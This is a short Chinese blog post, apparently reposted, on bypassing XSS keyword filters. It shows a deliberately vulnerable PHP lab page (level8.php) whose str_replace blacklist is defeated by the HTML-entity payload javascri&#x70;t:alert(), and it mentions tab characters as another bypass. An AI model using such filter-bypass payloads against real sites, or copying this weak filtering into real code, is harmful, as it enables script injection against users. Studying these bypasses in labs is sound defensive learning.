xss的一个tip

其实可能不能算tip吧.

分享一下吧。

unicode有四种编码方式

  • 源文本:The
  • &#x [Hex]:The
  • &# [Decimal]:The
  • U [Hex]:U0054U0068U0065

如下:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

 payload:javascri&#x70;t:alert()

原本是javascript:alert()

然后把pUnicode编码成了javascri&#112;t:alert()

然后112换成hex的即位javascri&#x70;t:alert()

hex在unicode的表现形式就是:&#x [Hex]:The

其实这种是绕过str_replace函数。当然了不仅还有这个姿势,还有制表符:%09等等。

原文地址:https://www.cnblogs.com/nul1/p/10362101.html